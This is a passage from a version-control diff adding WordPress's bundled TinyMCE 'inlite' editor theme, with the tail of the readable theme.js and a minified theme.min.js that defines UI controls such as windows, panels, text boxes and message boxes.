+      if (!self$$1.settings.multiline && doc.all && (!doc.documentMode || doc.documentMode <= 8)) {
+        style.lineHeight = rect.h - borderH + 'px';
+      }
+      borderBox = self$$1.borderBox;
+      borderW = borderBox.left + borderBox.right + 8;
+      borderH = borderBox.top + borderBox.bottom + (self$$1.settings.multiline ? 8 : 0);
+      if (rect.x !== lastRepaintRect.x) {
+        style.left = rect.x + 'px';
+        lastRepaintRect.x = rect.x;
+      }
+      if (rect.y !== lastRepaintRect.y) {
+        style.top = rect.y + 'px';
+        lastRepaintRect.y = rect.y;
+      }
+      if (rect.w !== lastRepaintRect.w) {
+        style.width = rect.w - borderW + 'px';
+        lastRepaintRect.w = rect.w;
+      }
+      if (rect.h !== lastRepaintRect.h) {
+        style.height = rect.h - borderH + 'px';
+        lastRepaintRect.h = rect.h;
+      }
+      self$$1._lastRepaintRect = lastRepaintRect;
+      self$$1.fire('repaint', {}, false);
+      return self$$1;
+    },
+    renderHtml: function () {
+      var self$$1 = this;
+      var settings = self$$1.settings;
+      var attrs, elm;
+      attrs = {
+        id: self$$1._id,
+        hidefocus: '1'
+      };
+      global$4.each([
+        'rows',
+        'spellcheck',
+        'maxLength',
+        'size',
+        'readonly',
+        'min',
+        'max',
+        'step',
+        'list',
+        'pattern',
+        'placeholder',
+        'required',
+        'multiple'
+      ], function (name$$1) {
+        attrs[name$$1] = settings[name$$1];
+      });
+      if (self$$1.disabled()) {
+        attrs.disabled = 'disabled';
+      }
+      if (settings.subtype) {
+        attrs.type = settings.subtype;
+      }
+      elm = funcs.create(settings.multiline ? 'textarea' : 'input', attrs);
+      elm.value = self$$1.state.get('value');
+      elm.className = self$$1.classes.toString();
+      return elm.outerHTML;
+    },
+    value: function (value) {
+      if (arguments.length) {
+        this.state.set('value', value);
+        return this;
+      }
+      if (this.state.get('rendered')) {
+        this.state.set('value', this.getEl().value);
+      }
+      return this.state.get('value');
+    },
+    postRender: function () {
+      var self$$1 = this;
+      self$$1.getEl().value = self$$1.state.get('value');
+      self$$1._super();
+      self$$1.$el.on('change', function (e) {
+        self$$1.state.set('value', e.target.value);
+        self$$1.fire('change', e);
+      });
+    },
+    bindStates: function () {
+      var self$$1 = this;
+      self$$1.state.on('change:value', function (e) {
+        if (self$$1.getEl().value !== e.value) {
+          self$$1.getEl().value = e.value;
+        }
+      });
+      self$$1.state.on('change:disabled', function (e) {
+        self$$1.getEl().disabled = e.value;
+      });
+      return self$$1._super();
+    },
+    remove: function () {
+      this.$el.off();
+      this._super();
+    }
+  });
+
+  var getApi = function () {
+    return {
+      Selector: Selector,
+      Collection: Collection$2,
+      ReflowQueue: $_cqjgb518wjjgwek2f,
+      Control: Control$1,
+      Factory: global$11,
+      KeyboardNavigation: KeyboardNavigation,
+      Container: Container,
+      DragHelper: DragHelper,
+      Scrollable: $_8woeth19ajjgwek4b,
+      Panel: Panel,
+      Movable: $_8zu82i18yjjgwek2l,
+      Resizable: $_20hy1119bjjgwek4f,
+      FloatPanel: FloatPanel,
+      Window: Window$$1,
+      MessageBox: MessageBox,
+      Tooltip: Tooltip,
+      Widget: Widget,
+      Progress: Progress,
+      Notification: Notification,
+      Layout: Layout$1,
+      AbsoluteLayout: AbsoluteLayout,
+      Button: Button,
+      ButtonGroup: ButtonGroup,
+      Checkbox: Checkbox,
+      ComboBox: ComboBox,
+      ColorBox: ColorBox,
+      PanelButton: PanelButton,
+      ColorButton: ColorButton,
+      ColorPicker: ColorPicker,
+      Path: Path,
+      ElementPath: ElementPath,
+      FormItem: FormItem,
+      Form: Form,
+      FieldSet: FieldSet,
+      FilePicker: FilePicker,
+      FitLayout: FitLayout,
+      FlexLayout: FlexLayout,
+      FlowLayout: FlowLayout,
+      FormatControls: $_gg6ikw1bejjgwekc5,
+      GridLayout: GridLayout,
+      Iframe: Iframe,
+      InfoBox: InfoBox,
+      Label: Label,
+      Toolbar: Toolbar$1,
+      MenuBar: MenuBar,
+      MenuButton: MenuButton,
+      MenuItem: MenuItem,
+      Throbber: Throbber,
+      Menu: Menu,
+      ListBox: ListBox,
+      Radio: Radio,
+      ResizeHandle: ResizeHandle,
+      SelectBox: SelectBox,
+      Slider: Slider,
+      Spacer: Spacer,
+      SplitButton: SplitButton,
+      StackLayout: StackLayout,
+      TabPanel: TabPanel,
+      TextBox: TextBox,
+      DropZone: DropZone,
+      BrowseButton: BrowseButton
+    };
+  };
+  var appendTo = function (target) {
+    if (target.ui) {
+      global$4.each(getApi(), function (ref, key) {
+        target.ui[key] = ref;
+      });
+    } else {
+      target.ui = getApi();
+    }
+  };
+  var registerToFactory = function () {
+    global$4.each(getApi(), function (ref, key) {
+      global$11.add(key, ref);
+    });
+  };
+  var Api = {
+    appendTo: appendTo,
+    registerToFactory: registerToFactory
+  };
+
+  Api.registerToFactory();
+  Api.appendTo(window.tinymce ? window.tinymce : {});
+  global.add('inlite', function (editor) {
+    var panel = create$3();
+    $_gg6ikw1bejjgwekc5.setup(editor);
+    $_epdxt419djjgwek4l.addToEditor(editor, panel);
+    return $_7y4x3k17sjjgwejyw.get(editor, panel);
+  });
+  function Theme () {
+  }
+
+  return Theme;
+
+}());
+})();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/themes/inlite/theme.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/themes/inlite/theme.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/themes/inlite/theme.min.js	(revision 56912)
@@ -0,0 +1,1 @@
+!function(){"use strict";var u,t,e,n,i,r,o=tinymce.util.Tools.resolve("tinymce.ThemeManager"),h=tinymce.util.Tools.resolve("tinymce.Env"),v=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),c=tinymce.util.Tools.resolve("tinymce.util.Delay"),s=function(t){return t.reduce(function(t,e){return Array.isArray(e)?t.concat(s(e)):t.concat(e)},[])},a={flatten:s},l=function(t,e){for(var n=0;n<e.length;n++){var i=(0,e[n])(t);if(i)return i}return null},d=function(t,e){return{id:t,rect:e}},f=function(t){return{x:t.left,y:t.top,w:t.width,h:t.height}},m=function(t){return{left:t.x,top:t.y,width:t.w,height:t.h,right:t.x+t.w,bottom:t.y+t.h}},g=function(t){var e=v.DOM.getViewPort();return{x:t.x+e.x,y:t.y+e.y,w:t.w,h:t.h}},p=function(t){var e=t.getBoundingClientRect();return g({x:e.left,y:e.top,w:Math.max(t.clientWidth,t.offsetWidth),h:Math.max(t.clientHeight,t.offsetHeight)})},b=function(t,e){return p(e)},y=function(t){return p(t.getContentAreaContainer()||t.getBody())},x=function(t){var e=t.selection.getBoundingClientRect();return e?g(f(e)):null},w=function(n,i){return function(t){for(var e=0;e<i.length;e++)if(i[e].predicate(n))return d(i[e].id,b(t,n));return null}},_=function(i,r){return function(t){for(var e=0;e<i.length;e++)for(var n=0;n<r.length;n++)if(r[n].predicate(i[e]))return d(r[n].id,b(t,i[e]));return null}},C=tinymce.util.Tools.resolve("tinymce.util.Tools"),R=function(t,e){return{id:t,predicate:e}},E=function(t){return C.map(t,function(t){return R(t.id,t.predicate)})},k=function(e){return function(t){return t.selection.isCollapsed()?null:d(e,x(t))}},T=function(i,r){return function(t){var e,n=t.schema.getTextBlockElements();for(e=0;e<i.length;e++)if("TABLE"===i[e].nodeName)return null;for(e=0;e<i.length;e++)if(i[e].nodeName in n)return t.dom.isEmpty(i[e])?d(r,x(t)):null;return null}},H=function(t){t.fire("SkinLoaded")},M=function(t){return t.fire("BeforeRenderUI")},S=tinymce.util.Tools.resolve("tinymce.EditorManager"),N=function(e){return function(t){return typeof t===e}},O=function(t){return Array.isArray(t)},D=function(t){return N("string")(t)},P=function(t){return N("number")(t)},W=function(t){return N("boolean")(t)},A=function(t){return N("function")(t)},B=(N("object"),O),L=function(t,e){if(e(t))return!0;throw new Error("Default value doesn't match requested type.")},I=function(r){return function(t,e,n){var i=t.settings;return L(n,r),e in i&&r(i[e])?i[e]:n}},z={getStringOr:I(D),getBoolOr:I(W),getNumberOr:I(P),getHandlerOr:I(A),getToolbarItemsOr:(u=B,function(t,e,n){var i,r,o,s,a,l=e in t.settings?t.settings[e]:n;return L(n,u),r=n,B(i=l)?i:D(i)?"string"==typeof(s=i)?(a=/[ ,]/,s.split(a).filter(function(t){return 0<t.length})):s:W(i)?(o=r,!1===i?[]:o):r})},F=tinymce.util.Tools.resolve("tinymce.geom.Rect"),U=function(t,e){return{rect:t,position:e}},V=function(t,e){return{x:e.x,y:e.y,w:t.w,h:t.h}},q=function(t,e,n,i,r){var o,s,a,l={x:i.x,y:i.y,w:i.w+(i.w<r.w+n.w?r.w:0),h:i.h+(i.h<r.h+n.h?r.h:0)};return o=F.findBestRelativePosition(r,n,l,t),n=F.clamp(n,l),o?(s=F.relativePosition(r,n,o),a=V(r,s),U(a,o)):(n=F.intersect(l,n))?((o=F.findBestRelativePosition(r,n,l,e))?(s=F.relativePosition(r,n,o),a=V(r,s)):a=V(r,n),U(a,o)):null},Y=function(t,e,n){return q(["cr-cl","cl-cr"],["bc-tc","bl-tl","br-tr"],t,e,n)},$=function(t,e,n){return q(["tc-bc","bc-tc","tl-bl","bl-tl","tr-br","br-tr","cr-cl","cl-cr"],["bc-tc","bl-tl","br-tr","cr-cl"],t,e,n)},X=function(t,e,n,i){var r;return"function"==typeof t?(r=t({elementRect:m(e),contentAreaRect:m(n),panelRect:m(i)}),f(r)):i},j=function(t){return t.panelRect},J=function(t){return z.getToolbarItemsOr(t,"selection_toolbar",["bold","italic","|","quicklink","h2","h3","blockquote"])},G=function(t){return z.getToolbarItemsOr(t,"insert_toolbar",["quickimage","quicktable"])},K=function(t){return z.getHandlerOr(t,"inline_toolbar_position_handler",j)},Z=function(t){var e,n,i,r,o=t.settings;return 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h(t.shiftKey?-1:1)}(t),t.preventDefault()}}),n.on("focusin",function(t){o=t.target,r=t.control}),{focusFirst:function(t){var e=d(t),n=c(e.getEl());e.settings.ariaRemember&&"lastAriaIndex"in e?f(e.lastAriaIndex,n):f(0,n)}}}var He,Me,Se,Ne,Oe={},De=ce.extend({init:function(t){var e=this;e._super(t),(t=e.settings).fixed&&e.state.set("fixed",!0),e._items=new Xt,e.isRtl()&&e.classes.add("rtl"),e.bodyClasses=new Bt(function(){e.state.get("rendered")&&(e.getEl("body").className=this.toString())}),e.bodyClasses.prefix=e.classPrefix,e.classes.add("container"),e.bodyClasses.add("container-body"),t.containerCls&&e.classes.add(t.containerCls),e._layout=Ee.create((t.layout||"")+"layout"),e.settings.items?e.add(e.settings.items):e.add(e.render()),e._hasBody=!0},items:function(){return this._items},find:function(t){return(t=Oe[t]=Oe[t]||new qt(t)).find(this)},add:function(t){return this.items().add(this.create(t)).parent(this),this},focus:function(t){var e,n,i,r=this;if(!t||!(n=r.keyboardNav||r.parents().eq(-1)[0].keyboardNav))return i=r.find("*"),r.statusbar&&i.add(r.statusbar.items()),i.each(function(t){if(t.settings.autofocus)return e=null,!1;t.canFocus&&(e=e||t)}),e&&e.focus(),r;n.focusFirst(r)},replace:function(t,e){for(var n,i=this.items(),r=i.length;r--;)if(i[r]===t){i[r]=e;break}0<=r&&((n=e.getEl())&&n.parentNode.removeChild(n),(n=t.getEl())&&n.parentNode.removeChild(n)),e.parent(this)},create:function(t){var e,n=this,i=[];return C.isArray(t)||(t=[t]),C.each(t,function(t){t&&(t instanceof ce||("string"==typeof t&&(t={type:t}),e=C.extend({},n.settings.defaults,t),t.type=e.type=e.type||t.type||n.settings.defaultType||(e.defaults?e.defaults.type:null),t=Ee.create(e)),i.push(t))}),i},renderNew:function(){var i=this;return i.items().each(function(t,e){var n;t.parent(i),t.state.get("rendered")||((n=i.getEl("body")).hasChildNodes()&&e<=n.childNodes.length-1?Nt(n.childNodes[e]).before(t.renderHtml()):Nt(n).append(t.renderHtml()),t.postRender(),ee.add(t))}),i._layout.applyClasses(i.items().filter(":visible")),i._lastRect=null,i},append:function(t){return this.add(t).renderNew()},prepend:function(t){return this.items().set(this.create(t).concat(this.items().toArray())),this.renderNew()},insert:function(t,e,n){var i,r,o;return t=this.create(t),i=this.items(),!n&&e<i.length-1&&(e+=1),0<=e&&e<i.length&&(r=i.slice(0,e).toArray(),o=i.slice(e).toArray(),i.set(r.concat(t,o))),this.renderNew()},fromJSON:function(t){for(var e in t)this.find("#"+e).value(t[e]);return this},toJSON:function(){var i={};return this.find("*").each(function(t){var e=t.name(),n=t.value();e&&void 0!==n&&(i[e]=n)}),i},renderHtml:function(){var t=this,e=t._layout,n=this.settings.role;return t.preRender(),e.preRender(t),'<div id="'+t._id+'" class="'+t.classes+'"'+(n?' role="'+this.settings.role+'"':"")+'><div id="'+t._id+'-body" class="'+t.bodyClasses+'">'+(t.settings.html||"")+e.renderHtml(t)+"</div></div>"},postRender:function(){var t,e=this;return e.items().exec("postRender"),e._super(),e._layout.postRender(e),e.state.set("rendered",!0),e.settings.style&&e.$el.css(e.settings.style),e.settings.border&&(t=e.borderBox,e.$el.css({"border-top-width":t.top,"border-right-width":t.right,"border-bottom-width":t.bottom,"border-left-width":t.left})),e.parent()||(e.keyboardNav=Te({root:e})),e},initLayoutRect:function(){var t=this._super();return this._layout.recalc(this),t},recalc:function(){var t=this,e=t._layoutRect,n=t._lastRect;if(!n||n.w!==e.w||n.h!==e.h)return t._layout.recalc(t),e=t.layoutRect(),t._lastRect={x:e.x,y:e.y,w:e.w,h:e.h},!0},reflow:function(){var t;if(ee.remove(this),this.visible()){for(ce.repaintControls=[],ce.repaintControls.map={},this.recalc(),t=ce.repaintControls.length;t--;)ce.repaintControls[t].repaint();"flow"!==this.settings.layout&&"stack"!==this.settings.layout&&this.repaint(),ce.repaintControls=[]}return this}}),Pe={init:function(){this.on("repaint",this.renderScroll)},renderScroll:function(){var p=this,v=2;function n(){var m,g,t;function e(t,e,n,i,r,o){var s,a,l,u,c,d,f,h;if(a=p.getEl("scroll"+t)){if(f=e.toLowerCase(),h=n.toLowerCase(),Nt(p.getEl("absend")).css(f,p.layoutRect()[i]-1),!r)return void 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e,n,i,r,o=p.layoutRect();n=o.contentW>o.innerW,i=o.contentH>o.innerH,r=p.getEl("body")["client"+l]-2*v,e=(r-=n&&i?p.getEl("scroll"+s)["client"+c]:0)/p.getEl("body")["scroll"+l],p.getEl("body")["scroll"+a]=d+t["delta"+u]/e},stop:function(){Nt("#"+t).removeClass(e+"active")}})}p.classes.add("scroll"),t("v","Top","Height","Y","Width"),t("h","Left","Width","X","Height")}(),p.on("wheel",function(t){var e=p.getEl("body");e.scrollLeft+=10*(t.deltaX||0),e.scrollTop+=10*t.deltaY,n()}),Nt(p.getEl("body")).on("scroll",n)),n())}},We=De.extend({Defaults:{layout:"fit",containerCls:"panel"},Mixins:[Pe],renderHtml:function(){var t=this,e=t._layout,n=t.settings.html;return t.preRender(),e.preRender(t),void 0===n?n='<div id="'+t._id+'-body" class="'+t.bodyClasses+'">'+e.renderHtml(t)+"</div>":("function"==typeof n&&(n=n.call(t)),t._hasBody=!1),'<div id="'+t._id+'" class="'+t.classes+'" hidefocus="1" tabindex="-1" role="group">'+(t._preBodyHtml||"")+n+"</div>"}}),Ae={resizeToContent:function(){this._layoutRect.autoResize=!0,this._lastRect=null,this.reflow()},resizeTo:function(t,e){if(t<=1||e<=1){var n=St.getWindowSize();t=t<=1?t*n.w:t,e=e<=1?e*n.h:e}return this._layoutRect.autoResize=!1,this.layoutRect({minW:t,minH:e,w:t,h:e}).reflow()},resizeBy:function(t,e){var n=this.layoutRect();return this.resizeTo(n.w+t,n.h+e)}},Be=[],Le=[];function Ie(t,e){for(;t;){if(t===e)return!0;t=t.parent()}}function ze(){He||(He=function(t){2!==t.button&&function(t){for(var e=Be.length;e--;){var n=Be[e],i=n.getParentCtrl(t.target);if(n.settings.autohide){if(i&&(Ie(i,n)||n.parent()===i))continue;(t=n.fire("autohide",{target:t.target})).isDefaultPrevented()||n.hide()}}}(t)},Nt(document).on("click touchstart",He))}function Fe(r){var t=St.getViewPort().y;function e(t,e){for(var n,i=0;i<Be.length;i++)if(Be[i]!==r)for(n=Be[i].parent();n&&(n=n.parent());)n===r&&Be[i].fixed(t).moveBy(0,e).repaint()}r.settings.autofix&&(r.state.get("fixed")?r._autoFixY>t&&(r.fixed(!1).layoutRect({y:r._autoFixY}).repaint(),e(!1,r._autoFixY-t)):(r._autoFixY=r.layoutRect().y,r._autoFixY<t&&(r.fixed(!0).layoutRect({y:0}).repaint(),e(!0,t-r._autoFixY))))}function Ue(t,e){var n,i,r=Ve.zIndex||65535;if(t)Le.push(e);else for(n=Le.length;n--;)Le[n]===e&&Le.splice(n,1);if(Le.length)for(n=0;n<Le.length;n++)Le[n].modal&&(r++,i=Le[n]),Le[n].getEl().style.zIndex=r,Le[n].zIndex=r,r++;var o=Nt("#"+e.classPrefix+"modal-block",e.getContainerElm())[0];i?Nt(o).css("z-index",i.zIndex-1):o&&(o.parentNode.removeChild(o),Ne=!1),Ve.currentZIndex=r}var Ve=We.extend({Mixins:[pe,Ae],init:function(t){var i=this;i._super(t),(i._eventsRoot=i).classes.add("floatpanel"),t.autohide&&(ze(),function(){if(!Se){var t=document.documentElement,e=t.clientWidth,n=t.clientHeight;Se=function(){document.all&&e===t.clientWidth&&n===t.clientHeight||(e=t.clientWidth,n=t.clientHeight,Ve.hideAll())},Nt(window).on("resize",Se)}}(),Be.push(i)),t.autofix&&(Me||(Me=function(){var t;for(t=Be.length;t--;)Fe(Be[t])},Nt(window).on("scroll",Me)),i.on("move",function(){Fe(this)})),i.on("postrender show",function(t){if(t.control===i){var e,n=i.classPrefix;i.modal&&!Ne&&((e=Nt("#"+n+"modal-block",i.getContainerElm()))[0]||(e=Nt('<div id="'+n+'modal-block" class="'+n+"reset "+n+'fade"></div>').appendTo(i.getContainerElm())),c.setTimeout(function(){e.addClass(n+"in"),Nt(i.getEl()).addClass(n+"in")}),Ne=!0),Ue(!0,i)}}),i.on("show",function(){i.parents().each(function(t){if(t.state.get("fixed"))return i.fixed(!0),!1})}),t.popover&&(i._preBodyHtml='<div class="'+i.classPrefix+'arrow"></div>',i.classes.add("popover").add("bottom").add(i.isRtl()?"end":"start")),i.aria("label",t.ariaLabel),i.aria("labelledby",i._id),i.aria("describedby",i.describedBy||i._id+"-none")},fixed:function(t){var e=this;if(e.state.get("fixed")!==t){if(e.state.get("rendered")){var n=St.getViewPort();t?e.layoutRect().y-=n.y:e.layoutRect().y+=n.y}e.classes.toggle("fixed",t),e.state.set("fixed",t)}return e},show:function(){var t,e=this._super();for(t=Be.length;t--&&Be[t]!==this;);return-1===t&&Be.push(this),e},hide:function(){return qe(this),Ue(!1,this),this._super()},hideAll:function(){Ve.hideAll()},close:function(){return this.fire("close").isDefaultPrevented()||(this.remove(),Ue(!1,this)),this},remove:function(){qe(this),this._super()},postRender:function(){return this.settings.bodyRole&&this.getEl("body").setAttribute("role",this.settings.bodyRole),this._super()}});function qe(t){var e;for(e=Be.length;e--;)Be[e]===t&&Be.splice(e,1);for(e=Le.length;e--;)Le[e]===t&&Le.splice(e,1)}Ve.hideAll=function(){for(var t=Be.length;t--;){var e=Be[t];e&&e.settings.autohide&&(e.hide(),Be.splice(t,1))}};var Ye=[],$e="";function Xe(t){var e,n=Nt("meta[name=viewport]")[0];!1!==h.overrideViewPort&&(n||((n=document.createElement("meta")).setAttribute("name","viewport"),document.getElementsByTagName("head")[0].appendChild(n)),(e=n.getAttribute("content"))&&void 0!==$e&&($e=e),n.setAttribute("content",t?"width=device-width,initial-scale=1.0,user-scalable=0,minimum-scale=1.0,maximum-scale=1.0":$e))}function je(t,e){(function(){for(var t=0;t<Ye.length;t++)if(Ye[t]._fullscreen)return!0;return!1})()&&!1===e&&Nt([document.documentElement,document.body]).removeClass(t+"fullscreen")}var Je=Ve.extend({modal:!0,Defaults:{border:1,layout:"flex",containerCls:"panel",role:"dialog",callbacks:{submit:function(){this.fire("submit",{data:this.toJSON()})},close:function(){this.close()}}},init:function(t){var n=this;n._super(t),n.isRtl()&&n.classes.add("rtl"),n.classes.add("window"),n.bodyClasses.add("window-body"),n.state.set("fixed",!0),t.buttons&&(n.statusbar=new We({layout:"flex",border:"1 0 0 0",spacing:3,padding:10,align:"center",pack:n.isRtl()?"start":"end",defaults:{type:"button"},items:t.buttons}),n.statusbar.classes.add("foot"),n.statusbar.parent(n)),n.on("click",function(t){var e=n.classPrefix+"close";(St.hasClass(t.target,e)||St.hasClass(t.target.parentNode,e))&&n.close()}),n.on("cancel",function(){n.close()}),n.on("move",function(t){t.control===n&&Ve.hideAll()}),n.aria("describedby",n.describedBy||n._id+"-none"),n.aria("label",t.title),n._fullscreen=!1},recalc:function(){var t,e,n,i,r=this,o=r.statusbar;r._fullscreen&&(r.layoutRect(St.getWindowSize()),r.layoutRect().contentH=r.layoutRect().innerH),r._super(),t=r.layoutRect(),r.settings.title&&!r._fullscreen&&(e=t.headerW)>t.w&&(n=t.x-Math.max(0,e/2),r.layoutRect({w:e,x:n}),i=!0),o&&(o.layoutRect({w:r.layoutRect().innerW}).recalc(),(e=o.layoutRect().minW+t.deltaW)>t.w&&(n=t.x-Math.max(0,e-t.w),r.layoutRect({w:e,x:n}),i=!0)),i&&r.recalc()},initLayoutRect:function(){var t,e=this,n=e._super(),i=0;if(e.settings.title&&!e._fullscreen){t=e.getEl("head");var r=St.getSize(t);n.headerW=r.width,n.headerH=r.height,i+=n.headerH}e.statusbar&&(i+=e.statusbar.layoutRect().h),n.deltaH+=i,n.minH+=i,n.h+=i;var o=St.getWindowSize();return n.x=e.settings.x||Math.max(0,o.w/2-n.w/2),n.y=e.settings.y||Math.max(0,o.h/2-n.h/2),n},renderHtml:function(){var t=this,e=t._layout,n=t._id,i=t.classPrefix,r=t.settings,o="",s="",a=r.html;return t.preRender(),e.preRender(t),r.title&&(o='<div id="'+n+'-head" class="'+i+'window-head"><div id="'+n+'-title" class="'+i+'title">'+t.encode(r.title)+'</div><div id="'+n+'-dragh" class="'+i+'dragh"></div><button type="button" class="'+i+'close" aria-hidden="true"><i class="mce-ico mce-i-remove"></i></button></div>'),r.url&&(a='<iframe src="'+r.url+'" tabindex="-1"></iframe>'),void 0===a&&(a=e.renderHtml(t)),t.statusbar&&(s=t.statusbar.renderHtml()),'<div id="'+n+'" class="'+t.classes+'" hidefocus="1"><div class="'+t.classPrefix+'reset" role="application">'+o+'<div id="'+n+'-body" class="'+t.bodyClasses+'">'+a+"</div>"+s+"</div></div>"},fullscreen:function(t){var n,e,i=this,r=document.documentElement,o=i.classPrefix;if(t!==i._fullscreen)if(Nt(window).on("resize",function(){var t;if(i._fullscreen)if(n)i._timer||(i._timer=c.setTimeout(function(){var t=St.getWindowSize();i.moveTo(0,0).resizeTo(t.w,t.h),i._timer=0},50));else{t=(new Date).getTime();var e=St.getWindowSize();i.moveTo(0,0).resizeTo(e.w,e.h),50<(new Date).getTime()-t&&(n=!0)}}),e=i.layoutRect(),i._fullscreen=t){i._initial={x:e.x,y:e.y,w:e.w,h:e.h},i.borderBox=Pt("0"),i.getEl("head").style.display="none",e.deltaH-=e.headerH+2,Nt([r,document.body]).addClass(o+"fullscreen"),i.classes.add("fullscreen");var s=St.getWindowSize();i.moveTo(0,0).resizeTo(s.w,s.h)}else i.borderBox=Pt(i.settings.border),i.getEl("head").style.display="",e.deltaH+=e.headerH,Nt([r,document.body]).removeClass(o+"fullscreen"),i.classes.remove("fullscreen"),i.moveTo(i._initial.x,i._initial.y).resizeTo(i._initial.w,i._initial.h);return i.reflow()},postRender:function(){var e,n=this;setTimeout(function(){n.classes.add("in"),n.fire("open")},0),n._super(),n.statusbar&&n.statusbar.postRender(),n.focus(),this.dragHelper=new Re(n._id+"-dragh",{start:function(){e={x:n.layoutRect().x,y:n.layoutRect().y}},drag:function(t){n.moveTo(e.x+t.deltaX,e.y+t.deltaY)}}),n.on("submit",function(t){t.isDefaultPrevented()||n.close()}),Ye.push(n),Xe(!0)},submit:function(){return this.fire("submit",{data:this.toJSON()})},remove:function(){var t,e=this;for(e.dragHelper.destroy(),e._super(),e.statusbar&&this.statusbar.remove(),je(e.classPrefix,!1),t=Ye.length;t--;)Ye[t]===e&&Ye.splice(t,1);Xe(0<Ye.length)},getContentWindow:function(){var t=this.getEl().getElementsByTagName("iframe")[0];return t?t.contentWindow:null}});!function(){if(!h.desktop){var n={w:window.innerWidth,h:window.innerHeight};c.setInterval(function(){var t=window.innerWidth,e=window.innerHeight;n.w===t&&n.h===e||(n={w:t,h:e},Nt(window).trigger("resize"))},100)}Nt(window).on("resize",function(){var t,e,n=St.getWindowSize();for(t=0;t<Ye.length;t++)e=Ye[t].layoutRect(),Ye[t].moveTo(Ye[t].settings.x||Math.max(0,n.w/2-e.w/2),Ye[t].settings.y||Math.max(0,n.h/2-e.h/2))})}();var Ge=Je.extend({init:function(t){t={border:1,padding:20,layout:"flex",pack:"center",align:"center",containerCls:"panel",autoScroll:!0,buttons:{type:"button",text:"Ok",action:"ok"},items:{type:"label",multiline:!0,maxWidth:500,maxHeight:200}},this._super(t)},Statics:{OK:1,OK_CANCEL:2,YES_NO:3,YES_NO_CANCEL:4,msgBox:function(t){var e,i=t.callback||function(){};function n(t,e,n){return{type:"button",text:t,subtype:n?"primary":"",onClick:function(t){t.control.parents()[1].close(),i(e)}}}switch(t.buttons){case Ge.OK_CANCEL:e=[n("Ok",!0,!0),n("Cancel",!1)];break;case Ge.YES_NO:case Ge.YES_NO_CANCEL:e=[n("Yes",1,!0),n("No",0)],t.buttons===Ge.YES_NO_CANCEL&&e.push(n("Cancel",-1));break;default:e=[n("Ok",!0,!0)]}return new Je({padding:20,x:t.x,y:t.y,minWidth:300,minHeight:100,layout:"flex",pack:"center",align:"center",buttons:e,title:t.title,role:"alertdialog",items:{type:"label",multiline:!0,maxWidth:500,maxHeight:200,text:t.text},onPostRender:function(){this.aria("describedby",this.items()[0]._id)},onClose:t.onClose,onCancel:function(){i(!1)}}).renderTo(document.body).reflow()},alert:function(t,e){return"string"==typeof t&&(t={text:t}),t.callback=e,Ge.msgBox(t)},confirm:function(t,e){return"string"==typeof t&&(t={text:t}),t.callback=e,t.buttons=Ge.OK_CANCEL,Ge.msgBox(t)}}}),Ke=function(t,e){return{renderUI:function(){return st(t,e)},getNotificationManagerImpl:function(){return _e(t)},getWindowManagerImpl:function(){return{open:function(n,t,e){var i;return n.title=n.title||" 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e.length?n.settings.multiple?e:e[0]:null},t.preventDefault(),e.length&&n.fire("change",t)}),Nt(e).on("click",function(t){t.stopPropagation()}),Nt(n.getEl("button")).on("click",function(t){t.stopPropagation(),e.click()}),n.getEl().appendChild(e)},remove:function(){Nt(this.getEl("button")).off(),Nt(this.getEl("input")).off(),this._super()}}),Wn=De.extend({Defaults:{defaultType:"button",role:"group"},renderHtml:function(){var t=this,e=t._layout;return t.classes.add("btn-group"),t.preRender(),e.preRender(t),'<div id="'+t._id+'" class="'+t.classes+'"><div id="'+t._id+'-body">'+(t.settings.html||"")+e.renderHtml(t)+"</div></div>"}}),An=be.extend({Defaults:{classes:"checkbox",role:"checkbox",checked:!1},init:function(t){var e=this;e._super(t),e.on("click mousedown",function(t){t.preventDefault()}),e.on("click",function(t){t.preventDefault(),e.disabled()||e.checked(!e.checked())}),e.checked(e.settings.checked)},checked:function(t){return arguments.length?(this.state.set("checked",t),this):this.state.get("checked")},value:function(t){return arguments.length?this.checked(t):this.checked()},renderHtml:function(){var t=this,e=t._id,n=t.classPrefix;return'<div id="'+e+'" class="'+t.classes+'" unselectable="on" aria-labelledby="'+e+'-al" tabindex="-1"><i class="'+n+"ico "+n+'i-checkbox"></i><span id="'+e+'-al" class="'+n+'label">'+t.encode(t.state.get("text"))+"</span></div>"},bindStates:function(){var o=this;function e(t){o.classes.toggle("checked",t),o.aria("checked",t)}return o.state.on("change:text",function(t){o.getEl("al").firstChild.data=o.translate(t.value)}),o.state.on("change:checked change:value",function(t){o.fire("change"),e(t.value)}),o.state.on("change:icon",function(t){var e=t.value,n=o.classPrefix;if(void 0===e)return o.settings.icon;e=(o.settings.icon=e)?n+"ico "+n+"i-"+o.settings.icon:"";var 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e=r.state.get("value"),n=t.target.value;n!==e&&(r.state.set("value",n),r.fire("autocomplete",t))}}),r.on("mouseover",function(t){var e=r.tooltip().moveTo(-65535);if(r.statusLevel()&&-1!==t.target.className.indexOf(r.classPrefix+"status")){var n=r.statusMessage()||"Ok",i=e.text(n).show().testMoveRel(t.target,["bc-tc","bc-tl","bc-tr"]);e.classes.toggle("tooltip-n","bc-tc"===i),e.classes.toggle("tooltip-nw","bc-tl"===i),e.classes.toggle("tooltip-ne","bc-tr"===i),e.moveRel(t.target,i)}})},statusLevel:function(t){return 0<arguments.length&&this.state.set("statusLevel",t),this.state.get("statusLevel")},statusMessage:function(t){return 0<arguments.length&&this.state.set("statusMessage",t),this.state.get("statusMessage")},showMenu:function(){var t,e=this,n=e.settings;e.menu||((t=n.menu||[]).length?t={type:"menu",items:t}:t.type=t.type||"menu",e.menu=Ee.create(t).parent(e).renderTo(e.getContainerElm()),e.fire("createmenu"),e.menu.reflow(),e.menu.on("cancel",function(t){t.control===e.menu&&e.focus()}),e.menu.on("show hide",function(t){t.control.items().each(function(t){t.active(t.value()===e.value())})}).fire("show"),e.menu.on("select",function(t){e.value(t.control.value())}),e.on("focusin",function(t){"INPUT"===t.target.tagName.toUpperCase()&&e.menu.hide()}),e.aria("expanded",!0)),e.menu.show(),e.menu.layoutRect({w:e.layoutRect().w}),e.menu.moveRel(e.getEl(),e.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"])},focus:function(){this.getEl("inp").focus()},repaint:function(){var 